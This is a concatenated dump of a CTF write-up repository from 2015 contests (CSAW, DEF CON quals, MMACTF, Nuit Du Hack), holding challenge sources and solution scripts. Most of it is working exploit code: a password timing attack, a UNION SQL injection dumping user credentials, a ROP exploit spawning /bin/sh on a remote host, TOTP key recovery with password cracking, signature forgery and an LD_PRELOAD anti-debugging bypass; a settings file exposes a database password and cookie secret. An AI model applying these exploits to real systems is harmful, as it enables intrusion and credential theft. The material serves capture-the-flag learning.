39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/js/grass.js: -------------------------------------------------------------------------------- 1 | var ctx, stack, w, h; 2 | var awards, grassHeight; 3 | 4 | var drawer = function(){ 5 | ctx.fillStyle="#00ccff"; 6 | ctx.fillRect(0,0,w,h); 7 | stack.forEach(function(el){ 8 | el[0](); 9 | }) 10 | requestAnimationFrame(drawer); 11 | } 12 | 13 | var grow = function(){ 14 | grassHeight+=1; 15 | stack.forEach(function(el){ 16 | el[1](); 17 | }) 18 | checkAcheivments(); 19 | 20 | } 21 | var anim = function(){ 22 | var x = Math.random()*20, y = 0; 23 | var maxTall = Math.random()*100+400; 24 | var maxSize = Math.random()*10+5; 25 | var speed = Math.random()*2; 26 | var position = Math.random()*w-w/2; 27 | var c = function(l,u){return Math.round(Math.random()*(u||255)+l||0);} 28 | var color = 'rgb('+c(60,10)+','+c(201,50)+','+c(120,50)+')'; 29 | return [function(){ 30 | var deviation=Math.cos(x/30)*Math.min(x/40,50), 31 | tall = Math.min(x/2,maxTall), 32 | size = Math.min(x/50,maxSize); 33 | ctx.save(); 34 | ctx.strokeWidth=10; 35 | ctx.translate(w/2+position,h) 36 | ctx.fillStyle=color; 37 | ctx.beginPath(); 38 | ctx.lineTo(-size,0); 39 | ctx.quadraticCurveTo(-size,-tall/2,deviation,-tall); 40 | ctx.quadraticCurveTo(size,-tall/2,size,0); 41 | ctx.fill(); 42 | ctx.restore() 43 | }, 44 | function() { 45 | x += speed; 46 | }]; 47 | }; 48 | function initGrass(){ 49 | var canvas = document.getElementById('grass'); 50 | ctx = canvas.getContext('2d'); 51 | stack = []; 52 | w = 600; 53 | h = 600; 54 | for(var x = 0; x<400;x++){stack.push(anim());} 55 | canvas.width = w; 56 | canvas.height = h; 57 | drawer(); 58 | initAcheivements(); 59 | } 60 | 61 | function checkAcheivments(){ 62 | for (var gh in awards){ 63 | if (grassHeight == gh){ 64 | alert(awards[gh]); 65 | } 66 | } 67 | } 68 | 69 | function initAcheivements(){ 70 | awards = { 71 | 10: "Acheivment unlocked!\nYour grass is 10 mm!", 72 | 30: "Acheivment unlocked!\nYour grass is 30 mm!", 73 | 50: "Acheivment unlocked!\nYour grass is 50 mm!", 74 | 100: "Acheivment unlocked!\nYour grass is 100 mm!", 75 | 150: "Acheivment unlocked!\nYour grass is 150 mm!", 76 | }; 77 | grassHeight = 0; 78 | 79 | } 80 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/premium.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Lawn Care Simulator 2015 7 | 8 | 9 | 10 | 11 | 12 | " . $flag . ""; 19 | } 20 | else { 21 | echo "

Not Authorized

"; 22 | } 23 | } 24 | else { 25 | echo "

You must supply a username and password

"; 26 | } 27 | ?> 28 | 29 | 30 | 37 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/sign_up.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Lawn Care Simulator 2015 - premium 4 | 5 | 6 | 7 | 8 | 9 | 18 | Lawn Care Simulator 2015 is currently in a private beta. Please check back later'; 31 | } 32 | else { 33 | echo '

Username: ' . $line['username'] . " is not available

"; 34 | } 35 | } 36 | else { 37 | ?> 38 | 39 |
40 |
41 |

Join the Lawn Care Simulator Premium beta!

42 |

Premium features

43 |
    44 |
  • Different breeds of grass!
  • 45 |
  • Plant fertilizer for faster growth!
  • 46 |
  • Shrubberies!
  • 47 |
  • Flags!
  • 48 |
  • Lawn mowers!
  • 49 |
50 |
51 | 52 | 53 |
54 |

Sign up for premium!

55 | 63 | 64 |
65 | 68 | 69 |
70 | 73 |
74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/validate_pass.php: -------------------------------------------------------------------------------- 1 | 26 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/lawn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/CSAWCTF/web/lawncaresimulator/lawn.png -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/solution/timing_attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # CSAWCTF 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | import requests 10 | import time 11 | 12 | current_milli_time = lambda: int(round(time.time() * 1000)) 13 | 14 | def do_request(username, candidate): 15 | negative_response = "Not Authorized" 16 | url = "http://54.175.3.248:8089" 17 | 18 | # To make (strlen($pass) == strlen($hash)) 19 | password = candidate + "0"*(32-len(candidate)) 20 | 21 | payload = {'username': username, 'password': password} 22 | start_time = current_milli_time() 23 | r = requests.post(url + '/premium.php', data=payload) 24 | end_time = current_milli_time() 25 | if(negative_response in r.text): 26 | return False, (end_time - start_time) 27 | else: 28 | return True, r.text 29 | 30 | username = "~~FLAG~~" 31 | password = "" 32 | 33 | round_delay = 300 34 | n = 3 35 | cumulative_delay = round_delay 36 | 37 | charset = "0123456789abcdef" 38 | 39 | # We are dealing with MD5 hashes to 32 characters 40 | for i in xrange(32): 41 | # Bogus request to compensate for jitter 42 | do_request(username, "") 43 | 44 | candidate = "" 45 | max_delay = 0 46 | for c in charset: 47 | # determine average response time over n requests 48 | t_average = 0 49 | for j in xrange(n): 50 | r, t = do_request(username, password + c) 51 | 52 | if r: 53 | print "[+]Got hash [%s]!" % (password + c) 54 | print t 55 | exit() 56 | else: 57 | t_average += t 58 | 59 | t_average /= n 60 | 61 | print "[*][%s] -> %d ms (average)" % (password + c, t_average) 62 | 63 | if((t_average >= cumulative_delay) and (t_average > max_delay)): 64 | max_delay = t_average 65 | candidate = c 66 | 67 | if(candidate == ""): 68 | raise Exception("[-]Couldn't find candidate for position %d..." % i) 69 | 70 | print "[*]Candidate for pos %d: [%s]" % (i, candidate) 71 | password += candidate 72 | 73 | # Delay increases per index (since we iterate over string) 74 | cumulative_delay += round_delay -------------------------------------------------------------------------------- /2015/CSAWCTF/web/throwback/README.md: -------------------------------------------------------------------------------- 1 | # CSAW CTF 2015: Throwback 2 | 3 | ---------- 4 | ## Challenge details 5 | | Contest | Challenge | Category | Points | 6 | |:---------------|:--------------|:----------|-------:| 7 | | CSAW CTF 2015 | Throwback | Web | 600 | 8 | 9 | **Description:** 10 | >*Programming is hard. CTF software is hard too. We broke our CTF software a few years ago and looks like we did it again this year 11 | :( :( :(* 12 | > 13 | >*HINT: If you are smart about it, you do not need to attack the CTF infrastructure.* 14 | > 15 | >*HINT: The source code of our CTF software is on our Github. Also if you tried the challenge with flag{} before, try again.* 16 | 17 | ---------- 18 | ## Write-up 19 | 20 | Hmmm? So CTFd also contains vulns aye? 21 | 22 | Lets look at the commits from this year: 23 | 24 | https://github.com/isislab/CTFd/commits/master 25 | 26 | >https://github.com/isislab/CTFd/commit/9578355143d7af675fc4776b0f2de802be91e261 27 | 28 | >"Fix authentication for certain admin actions" 29 | 30 | So apparently, the following routes are not restricted to admin users properly: 31 | 32 | >``` 33 | >/admin/chal/new 34 | >/admin/chal/delete 35 | >/admin/chal/update 36 | >``` 37 | 38 | Ok, good to know.. looking further.. 39 | 40 | 41 | >https://github.com/isislab/CTFd/commit/5f4a670b7a89f6a4d4536c2b3865391081ac5c9a 42 | 43 | >"Removing debug print statement" 44 | 45 | This commit removes a 'print files' statement from the /admin/chal/delete action. 46 | 47 | Didn't we just see that action? 48 | 49 | We can reach the statement by issueing a POST request to https://ctf.isis.poly.edu/admin/chal/delete, we also need to set the ID parameter: 50 | 51 | >```python 52 | >#!/usr/bin/env python 53 | >import requests 54 | >print requests.post('https://ctf.isis.poly.edu/admin/chal/delete',{'id':'ayylmao'},verify=False).text 55 | >``` 56 | 57 | or simply 58 | 59 | >```bash 60 | >curl --url 'https://ctf.isis.poly.edu/admin/chal/delete' --data 'id=ayylmao' 61 | >``` 62 | 63 | Which outputs 64 | 65 | >``` 66 | >flag{at_least_it_isnt_php} 67 | ``` 68 | 69 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/weebdate/challenge/settings.py: -------------------------------------------------------------------------------- 1 | MYSQL_HOST = 'localhost' 2 | MYSQL_USER = 'csaw' 3 | MYSQL_PASSWORD = 'l2uDU5mrl2uDU5mr' 4 | MYSQL_DB = 'weeb' 5 | COOKIE_SECRET = '98y0etw4skehjvb' -------------------------------------------------------------------------------- /2015/CSAWCTF/web/weebdate/solution/final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import hashlib, pyotp,random, itertools, socket, struct, string 4 | 5 | #{'report_ip': u'2', 'report_content': u'3', 'report_id': u'5:::donaldtrump:::22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3:::64.124.192.210:::http://i.imgur.com/6ebAqqF.png:::0:::0'} 6 | # We need to know the totp key, for that we need the seed: 7 | 8 | def generate_seed(username, ip_address): 9 | return int(struct.unpack('I', socket.inet_aton(ip_address))[0]) + struct.unpack('I', username[:4].ljust(4,'0'))[0] 10 | 11 | def get_totp_key(seed): 12 | random.seed(seed) 13 | return pyotp.random_base32(16, random) 14 | 15 | username = "donaldtrump" 16 | ip_address="64.124.192.210" 17 | 18 | # generate totp_key 19 | seed = generate_seed(username, ip_address) 20 | totp_key = get_totp_key(seed) 21 | 22 | print "[+]Recovered totp_key: [%s] " % totp_key 23 | 24 | # and we need to find the password, which is: 25 | secret_hash = "22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3" 26 | file = "john.txt" 27 | f = open(file, "r") 28 | final_password = "" 29 | for password in f: 30 | password = password.strip() 31 | candidate = hashlib.sha256(username+password).hexdigest() 32 | if candidate == secret_hash: 33 | print "[+]Cracked password [ %s ] " % password 34 | final_password = password 35 | break 36 | 37 | flag = hashlib.md5(totp_key+final_password).hexdigest() 38 | print "[+]Flag: [%s]" % flag 39 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/weebdate/solution/otp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from otpauth import OtpAuth 4 | import time, base64 5 | 6 | secret = "QDQQFZ6AUZQ2YR6N" # key for gooby:1 7 | auth = OtpAuth(base64.b32decode(secret)) 8 | print "[+]User: gooby, password:1" 9 | print "[+]TOTP token: [%d]" % auth.totp() 10 | print "[+]%s " % time.strftime("%c") 11 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/weebdate/solution/sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import requests 4 | 5 | for i in range(0,5): 6 | payload = "union all select concat(user_id,0x3a3a3a,user_name,0x3a3a3a,user_password,0x3a3a3a,user_ip,0x3a3a3a,user_image,0x3a3a3a,user_credits,0x3a3a3a,user_register_time),2,3 from users limit %d,1" % i 7 | url = "http://54.210.118.179/csp/view/1 %s--" % payload 8 | r = requests.get(url) 9 | print r.text 10 | -------------------------------------------------------------------------------- /2015/DCTF/README.md: -------------------------------------------------------------------------------- 1 | # DefCamp CTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [web/web100](web/web100) 6 | * [web/web200](web/web200) 7 | * [web/web300](web/web300) 8 | * [web/web400](web/web400) 9 | * [reverse/reverse100](reverse/reverse100) 10 | * [reverse/reverse200](reverse/reverse200) 11 | * [crypto/crypto200](crypto/crypto200) 12 | * [exploit/exploit100](exploit/exploit100) 13 | * [misc/misc100](misc/misc100) -------------------------------------------------------------------------------- /2015/DEFCONCTF/README.md: -------------------------------------------------------------------------------- 1 | # DEF CON CTF Quals 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [babysfirst/babycmd](babysfirst/babycmd) 6 | * [babysfirst/mathwiz](babysfirst/mathwiz) 7 | * [babysfirst/r0pbaby](babysfirst/r0pbaby) 8 | * [coding/catwestern](coding/catwestern) 9 | * [reversing/accesscontrol](reversing/accesscontrol) 10 | * [pwn/wibblywobblytimeywimey](pwn/wibblywobblytimeywimey) -------------------------------------------------------------------------------- /2015/DEFCONCTF/babysfirst/r0pbaby/challenge/r0pbaby: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/DEFCONCTF/babysfirst/r0pbaby/challenge/r0pbaby -------------------------------------------------------------------------------- /2015/DEFCONCTF/babysfirst/r0pbaby/solution/r0pbaby_sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # DEF CON CTF Quals 2015 4 | # r0pbaby (BABYSFIRST/1) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from pwn import * 11 | from struct import pack, unpack 12 | 13 | def get_libc_base(h): 14 | h.send("1\n") 15 | msg = h.recvuntil("4) Exit\n: ") 16 | offset = msg.find(":") 17 | offset2 = msg.find("\n") 18 | base = msg[offset+2: offset2] 19 | return long(base, 16) 20 | 21 | def get_libc_func_addr(h, function): 22 | h.send("2\n") 23 | msg = h.recvuntil("Enter symbol: ") 24 | h.send(function+"\n") 25 | msg = h.recvuntil("4) Exit\n: ") 26 | offset = msg.find(":") 27 | offset2 = msg.find("\n") 28 | addr = msg[offset+2: offset2] 29 | return long(addr, 16) 30 | 31 | def nom_rop_buffer(h, rop_buffer): 32 | h.send("3\n") 33 | msg = h.recvuntil("Enter bytes to send (max 1024): ") 34 | rop_buffer_len = str(len(rop_buffer)) 35 | h.send(rop_buffer_len + "\n") 36 | h.send(rop_buffer + "\n") 37 | msg = h.recvuntil("Bad choice.\n") 38 | return 39 | 40 | host = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me" 41 | port = 10436 42 | 43 | rdi_gadget_offset = 0x7583e6 44 | bin_sh_offset = 0x66dcd5 45 | 46 | h = remote(host, port) 47 | 48 | msg = h.recvuntil(": ") 49 | libc_base = get_libc_base(h) 50 | print "[+] libc base: [%x]" % libc_base 51 | 52 | rdi_gadget_addr = libc_base - rdi_gadget_offset 53 | print "[+] RDI gadget addr: [%x]" % rdi_gadget_addr 54 | 55 | bin_sh_addr = libc_base - bin_sh_offset 56 | print "[+] \"/bin/sh\" addr: [%x]" % bin_sh_addr 57 | 58 | system_addr = get_libc_func_addr(h, "system") 59 | 60 | print "[+] system addr: [%x]" % system_addr 61 | 62 | rbp_overwrite = "A"*8 63 | 64 | rop_buffer = rbp_overwrite + pack('While investigating potentially related incidents at civilian industrial facilities, we managed to capture suspicious traffic as it went from a food processing machine towards an internet connected IP camera. Although we successfully retrieved the program that was used to send the traffic, we were unable to salvage the sent file. We believe that [the file in question](challenge/slowcooker.tar.gz) contains one or more keys from the SKS. Your mission is to identify and exploit any weaknesses in the program and retrieve potential skeleton keys from the capture. 8 | > 9 | >Good luck, whoever - or whatever - created this abomination was clearly mad. 10 | 11 | ## Write-up 12 | -------------------------------------------------------------------------------- /2015/HITB_TEASER/crypto/slowcooker/challenge/slowcooker.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/HITB_TEASER/crypto/slowcooker/challenge/slowcooker.tar.gz -------------------------------------------------------------------------------- /2015/HITB_TEASER/pwnable/candypop/README.md: -------------------------------------------------------------------------------- 1 | # Hack In The Box Amsterdam CTF Teaser 2015: Candypop 2 | 3 | **Category:** Pwnable 4 | **Points:** 1000 5 | **Description:** 6 | 7 | >We got backdoor access to an old candy vending machine, however we havent been able to escalate privileges to the underlying operating system yet. The candy machine is said to be using a strange obscure and minimal architecture. Can you help us get access? We need to get ahold of the copious amounts of KitKat & Snickers A.S.A.P. 8 | > 9 | >We conveniently made the backdoor accessible over TCP/IP, it can be reached at 52.16.33.218:22226. Furthermore, we managed to bribe an old employee of the manufacturer (that is now defunct) of the vending machine to send us a copy of a [binary](challenge/candypop).. but we can't make heads or tails out of it. HELP! 10 | 11 | ## Write-up 12 | -------------------------------------------------------------------------------- /2015/HITB_TEASER/pwnable/candypop/challenge/candypop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/HITB_TEASER/pwnable/candypop/challenge/candypop -------------------------------------------------------------------------------- /2015/HITB_TEASER/web/pearldiving/README.md: -------------------------------------------------------------------------------- 1 | # Hack In The Box Amsterdam CTF Teaser 2015: Pearl Diving 2 | 3 | **Category:** Web 4 | **Points:** 1000 5 | **Description:** 6 | 7 | >Our aquaculture department has been farming sea organisms of various kinds for the past few years now. Recently we've started branching out and instead of maintaining just our own aquafarms, we've started stealing fish and plants from other people their farms as well! (How naughty of us, eh?) Recently during a deep sea TCP scan we uncovered what we believe is the endpoint for an aquafarm maintenance system ran by TEAM GUMFISH. TEAM GUMFISH is well known for their cutting edge technologies when it comes to accumulating vast amounts of oysters. An excessive (and lame) nikto scan pointed out one accessible URI endpoint which can be found [here](http://52.16.114.54/cgi-bin/perl). However, so far we only seem to be getting "500 INTERNAL SERVER ERROR" out of it. 8 | 9 | ## Write-up 10 | -------------------------------------------------------------------------------- /2015/HITB_TEASER/web/satcom/README.md: -------------------------------------------------------------------------------- 1 | # Hack In The Box Amsterdam CTF Teaser 2015: Pearl Diving 2 | 3 | **Category:** Web 4 | **Points:** 1000 5 | **Description:** 6 | 7 | >Our division of foreign cyber affairs has been hard at work lately. While mapping out some obscure subnets (which we think belong to the intelligence agency that is investigating HEAVENWEB) we've come accross a Sattelite Communications Center. One of our employees managed to snag a copy of some [source code](challenge/frontend.tar.gz) before they further locked down the platform. Luckily the login frontend still seems to be [reachable](http://satcom.info/). 8 | 9 | ## Write-up 10 | -------------------------------------------------------------------------------- /2015/HITB_TEASER/web/satcom/challenge/frontend.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/HITB_TEASER/web/satcom/challenge/frontend.tar.gz -------------------------------------------------------------------------------- /2015/HUSTCTF/README.md: -------------------------------------------------------------------------------- 1 | # 14th HUST Hacking Festival 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [misc/forensic200](misc/forensic200) 6 | * [reversing/reversing300](reversing/reversing300) 7 | * [reversing/reversing500_0](reversing/reversing500_0) 8 | * [reversing/reversing500_1](reversing/reversing500_1) 9 | * [reversing/reversing500_2](reversing/reversing500_2) -------------------------------------------------------------------------------- /2015/MMACTF/README.md: -------------------------------------------------------------------------------- 1 | # MMACTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [crypto/signerverifier](crypto/signerverifier) 6 | * [crypto/smartciphersystem](crypto/smartciphersystem) 7 | * [web/loginasadmin](web/loginasadmin) 8 | * [web/uploader](web/uploader) 9 | * [web/mortalmagiagents](web/mortalmagiagents) 10 | * [forensics/splitted](forensics/splitted) 11 | * [stego/nagoyacastle](stego/nagoyacastle) 12 | * [reversing/howtouse](reversing/howtouse) 13 | * [reversing/thisprogramcannotberun](reversing/thisprogramcannotberun) 14 | * [pwn/rps](pwn/rps) 15 | * [misc/welcome](misc/welcome) 16 | * [ppc/patternlock](ppc/patternlock) 17 | * [ppc/alphabetprogramming](ppc/alphabetprogramming) 18 | 19 | ## Solved post-CTF 20 | 21 | These challenges were solved shortly after CTF time ran out 22 | 23 | * [reversing/simple_hash](reversing/simple_hash) 24 | * [crypto/alicegame](crypto/alicegame) -------------------------------------------------------------------------------- /2015/MMACTF/crypto/signerverifier/eq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/MMACTF/crypto/signerverifier/eq1.png -------------------------------------------------------------------------------- /2015/MMACTF/crypto/signerverifier/eq2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/MMACTF/crypto/signerverifier/eq2.png -------------------------------------------------------------------------------- /2015/MMACTF/crypto/signerverifier/solution/forge.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # MMACTF 2015 4 | # signerverifier (CRYPTO/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from pwn import * 11 | 12 | # Have our data of choice signed by the signer 13 | def do_sign(sign_this, sign_port): 14 | h_sign = remote(host, sign_port, timeout = None) 15 | h_sign.sendline(str(sign_this)) 16 | lines = h_sign.recv(1024).split("\n") 17 | h_sign.close() 18 | return long(lines[len(lines)-2]) 19 | 20 | host = 'cry1.chal.mmactf.link' 21 | sign_port = 44815 22 | verify_port = 44816 23 | 24 | # Open connections 25 | h_verify = remote(host, verify_port, timeout = None) 26 | lines = h_verify.recv(1024).split("\n") 27 | 28 | # Fetch public key 29 | n = long(lines[0][4:]) 30 | e = long(lines[1][4:]) 31 | 32 | # Obtain our challenge plaintext 33 | plaintext = long(lines[len(lines)-2]) 34 | 35 | # Find proper divisor, the lazy way 36 | divisor = 2 37 | for i in xrange(2, 100): 38 | if(plaintext % divisor == 0): 39 | break 40 | 41 | assert(plaintext % divisor == 0) 42 | 43 | # Divide, sign seperately 44 | signed_0 = do_sign(plaintext / divisor, sign_port) 45 | signed_1 = do_sign(divisor, sign_port) 46 | 47 | # Apply modular reduction over product of signed parts to obtain signed product 48 | signed = (signed_0 * signed_1) % n 49 | 50 | # Send signature 51 | h_verify.sendline(str(signed)) 52 | 53 | # Retrieve flag 54 | print h_verify.recv(1024) 55 | 56 | h_verify.close() -------------------------------------------------------------------------------- /2015/MMACTF/reversing/simple_hash/challenge/simple_hash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/MMACTF/reversing/simple_hash/challenge/simple_hash -------------------------------------------------------------------------------- /2015/MMACTF/reversing/simple_hash/solution/simple_hash_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # MMACTF 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | import string 10 | 11 | # Alphanumeric alphabet (ordered by ASCII value) 12 | charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 13 | 14 | # Recursive version of hash function (as reversed) 15 | def hashf(inp): 16 | # Multiplier 17 | M = 0x241 18 | # Modulus 19 | P = 0x38D7EA4C68025 20 | # Initial state 21 | state = 0 22 | for c in inp: 23 | state = ((state * M) + ord(c)) % P 24 | return state 25 | 26 | # Fetches candidate characters for a given position 27 | def index_candidate_chars(target, candidate, index): 28 | global charset 29 | 30 | r = [] 31 | 32 | # Start out with lowest ASCII value 33 | tmp_candidate = list(candidate) 34 | tmp_candidate[index] = charset[0] 35 | tmp_candidate = "".join(tmp_candidate) 36 | p_hash = hashf(tmp_candidate) 37 | 38 | # Work through entire character set 39 | for j in xrange(1, len(charset)): 40 | tmp_candidate = list(tmp_candidate) 41 | tmp_candidate[index] = charset[j] 42 | tmp_candidate = "".join(tmp_candidate) 43 | n_hash = hashf(tmp_candidate) 44 | 45 | # Have we found it? 46 | if(n_hash == target): 47 | print "[+]Cracked input: [%s] (0x%x)" % (tmp_candidate, n_hash) 48 | exit() 49 | 50 | # If the target is in between the previous and current hash value we consider the previous character a candidate for this position 51 | if ((p_hash < target) and (target < n_hash)): 52 | r.append(charset[j-1]) 53 | 54 | p_hash = n_hash 55 | 56 | return r + [charset[len(charset)-1]] 57 | 58 | # Recursive cracking function 59 | def crack(target, candidate, index): 60 | global charset 61 | 62 | if (index >= len(candidate)): 63 | return 64 | 65 | chars = index_candidate_chars(target, candidate, index) 66 | 67 | # Branch out over all candidate characters at this position 68 | for c in chars: 69 | tmp_candidate = list(candidate) 70 | tmp_candidate[index] = c 71 | tmp_candidate = "".join(tmp_candidate) 72 | crack(target, tmp_candidate, index + 1) 73 | 74 | return 75 | 76 | # Target hash 77 | h = 0x1E1EAB437EEB0 78 | 79 | # Try different lengths 80 | min_len = 6 81 | max_len = 12 82 | 83 | for i in xrange(min_len, max_len+1): 84 | print "[*]Trying length %d..." % i 85 | # Initial candidate (lowest cumulative value) 86 | candidate = charset[0]*i 87 | crack(h, candidate, 0) -------------------------------------------------------------------------------- /2015/NUITDUHACK/README.md: -------------------------------------------------------------------------------- 1 | # Nuit Du Hack CTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [crypto/gameoflife](crypto/gameoflife) 6 | * [reverse/crackmeprime](reverse/crackmeprime) 7 | * [reverse/clarkkent](reverse/clarkkent) 8 | * [forensics/private](forensics/private) 9 | * [forensics/bpythonastic](forensics/bpythonastic) 10 | * [web/facesec](web/facesec) -------------------------------------------------------------------------------- /2015/NUITDUHACK/crypto/gameoflife/challenge/GOL.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/NUITDUHACK/crypto/gameoflife/challenge/GOL.tar.gz -------------------------------------------------------------------------------- /2015/NUITDUHACK/crypto/gameoflife/solution/gameoflifesolution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Nuit Du Hack CTF 2015 4 | # Game Of Life (CRYPTO/150) Solution 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import itertools 11 | 12 | def xor(ent1, ent2): 13 | key = itertools.cycle(ent2) 14 | return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(ent1, key)) 15 | 16 | f = open("cipher.txt", 'rb') 17 | lines = f.readlines() 18 | 19 | encfile = '' 20 | for i in xrange(114, len(lines)): 21 | bitstream = '00000000' 22 | data = lines[i][0: len(lines[i])-1] 23 | encfile += xor(data, bitstream) 24 | 25 | print encfile -------------------------------------------------------------------------------- /2015/NUITDUHACK/reverse/clarkkent/challenge/clark.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/NUITDUHACK/reverse/clarkkent/challenge/clark.tar.gz -------------------------------------------------------------------------------- /2015/NUITDUHACK/reverse/clarkkent/solution/clarksolution.c: -------------------------------------------------------------------------------- 1 | /* 2 | Nuit Du Hack CTF 2015 3 | CLARKKENT (REVERSING/150) Solution 4 | 5 | @a: Smoke Leet Everyday 6 | @u: https://github.com/smokeleeteveryday 7 | 8 | $ gcc -Wall -fPIC -shared -o clarksolution.so clarksolution.c -ldl 9 | $ LD_PRELOAD=./clarksolution.so ./clark 10 | 11 | */ 12 | #define _GNU_SOURCE 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | typedef long (*orig_ptrace_f_type)(void* request, pid_t pid, void *addr, void *data); 19 | typedef int (*orig_mprotect_f_type)(void *addr, size_t len, int prot); 20 | 21 | int mprotect(void *addr, size_t len, int prot) 22 | { 23 | orig_mprotect_f_type orig_mprotect; 24 | orig_mprotect = (orig_mprotect_f_type)dlsym(RTLD_NEXT,"mprotect"); 25 | 26 | //dump memory area associated with specific mprotect call 27 | if((((unsigned int)len) == 0x186) && (((unsigned int)prot) == 5)) 28 | { 29 | //dump memory area to file 30 | FILE* f = fopen("./dump", "wb"); 31 | fwrite(addr, 1, len, f); 32 | fclose(f); 33 | return orig_mprotect(addr, len, prot); 34 | } 35 | else 36 | { 37 | return orig_mprotect(addr, len, prot); 38 | } 39 | } 40 | 41 | long ptrace(void* request, pid_t pid, void *addr, void *data) 42 | { 43 | //trick specific ptrace call 44 | if((((unsigned int)request) == 0) && (((unsigned int)pid) == 0) && (((unsigned int)addr) == 1) && (((unsigned int)0) == 0)) 45 | { 46 | return 0; 47 | } 48 | else 49 | { 50 | orig_ptrace_f_type orig_ptrace; 51 | orig_ptrace = (orig_ptrace_f_type)dlsym(RTLD_NEXT,"ptrace"); 52 | return orig_ptrace(request, pid, addr, data); 53 | } 54 | } -------------------------------------------------------------------------------- /2015/NUITDUHACK/reverse/crackmeprime/challenge/prime.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/NUITDUHACK/reverse/crackmeprime/challenge/prime.tar.gz -------------------------------------------------------------------------------- /2015/NUITDUHACK/reverse/crackmeprime/solution/crackmeprimesolution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Nuit Du Hack CTF 2015 4 | # Crackme Prime (REVERSING/150) Solution 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | from pyprimes import * 10 | 11 | def isValidSerial(v16, v17, v18, v19, v20, v15): 12 | v8 = (isprime(v16) and (isprime(v17) and (isprime(v18) and (isprime(v19) and isprime(v20))))) and isprime(v15) 13 | return isprime((v17 + v18 + v19 + v20 + v16) % v15) 14 | 15 | def keygen(startPoint): 16 | primeiterator = primes_above(startPoint) 17 | p = next(primeiterator) 18 | 19 | # Generate valid prime 20 | while('0' in hex(p)[2:]): 21 | p = next(primeiterator) 22 | 23 | # Use as first v17,v18,v19,v20,v15 only bruteforce v16 24 | A = [p]*6 25 | while not(isValidSerial(A[0], A[1], A[2], A[3], A[4], 